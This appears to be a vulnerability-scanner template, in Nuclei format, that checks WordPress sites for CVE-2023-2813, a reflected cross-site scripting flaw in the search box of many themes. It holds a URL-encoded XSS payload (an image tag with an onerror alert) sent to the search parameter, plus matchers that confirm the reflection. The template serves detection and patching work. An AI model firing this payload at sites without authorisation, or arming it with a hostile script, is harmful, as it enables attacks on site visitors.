Wordpress Multiple Themes - Reflected Cross-Site Scripting

id: CVE-2023-2813

info:
  name: Wordpress Multiple Themes - Reflected Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    All of the above Aapna WordPress theme through 1.3, Anand WordPress theme through 1.2, Anfaust WordPress theme through 1.1, Arendelle WordPress theme before 1.1.13, Atlast Business WordPress theme through 1.5.8.5, Bazaar Lite WordPress theme before 1.8.6, Brain Power WordPress theme through 1.2, BunnyPressLite WordPress theme before 2.1, Cafe Bistro WordPress theme before 1.1.4, College WordPress theme before 1.5.1, Connections Reloaded WordPress theme through 3.1, Counterpoint WordPress theme through 1.8.1, Digitally WordPress theme through 1.0.8, Directory WordPress theme before 3.0.2, Drop WordPress theme before 1.22, Everse WordPress theme before 1.2.4, Fashionable Store WordPress theme through 1.3.4, Fullbase WordPress theme before 1.2.1, Ilex WordPress theme before 1.4.2, Js O3 Lite WordPress theme through 1.5.8.2, Js Paper WordPress theme through 2.5.7, Kata WordPress theme before 1.2.9, Kata App WordPress theme through 1.0.5, Kata Business WordPress theme through 1.0.2, Looki Lite WordPress theme before 1.3.0, moseter WordPress theme through 1.3.1, Nokke WordPress theme before 1.2.4, Nothing Personal WordPress theme through 1.0.7, Offset Writing WordPress theme through 1.2, Opor Ayam WordPress theme through 18, Pinzolo WordPress theme before 1.2.10, Plato WordPress theme before 1.1.9, Polka Dots WordPress theme through 1.2, Purity Of Soul WordPress theme through 1.9, Restaurant PT WordPress theme before 1.1.3, Saul WordPress theme before 1.1.0, Sean Lite WordPress theme before 1.4.6, Tantyyellow WordPress theme through 1.0.0.5, TIJAJI WordPress theme through 1.43, Tiki Time WordPress theme through 1.3, Tuaug4 WordPress theme through 1.4, Tydskrif WordPress theme through 1.1.3, UltraLight WordPress theme through 1.2, Venice Lite WordPress theme before 1.5.5, Viala WordPress theme through 1.3.1, viburno WordPress theme before 1.3.2, Wedding Bride WordPress theme before 1.0.2, Wlow WordPress theme before 1.2.7 suffer from the same issue about the search box reflecting the results causing XSS which allows an unauthenticated attacker to exploit against users if they click a malicious link.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  reference:
    - https://wpscan.com/vulnerability/f434afd3-7de4-4bf4-a9bb-9f9aeaae1dc5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2813
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2813
    cwe-id: CWE-79
    epss-score: 0.00972
    epss-percentile: 0.57606
    cpe: cpe:2.3:a:ajaydsouza:connections_reloaded:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ajaydsouza
    product: connections_reloaded
    framework: wordpress
  tags: wpscan,cve,cve2023,wordpress,wp-theme,xss,ajaydsouza,vuln
variables:
  str: "{{rand_base(6)}}"
  random: "{{rand_base(3)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/?s={{str}}%3CIMG%20%22%22%22%3E%3CIMG%20SRC=/%20onerror=%22alert(document.domain)%22%3E%3C/img%3E/{{random}}/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<IMG SRC=/ onerror="alert(document.domain)"></img>'
          - 'wp-content/theme'
        condition: and

      - type: status
        status:
          - 200
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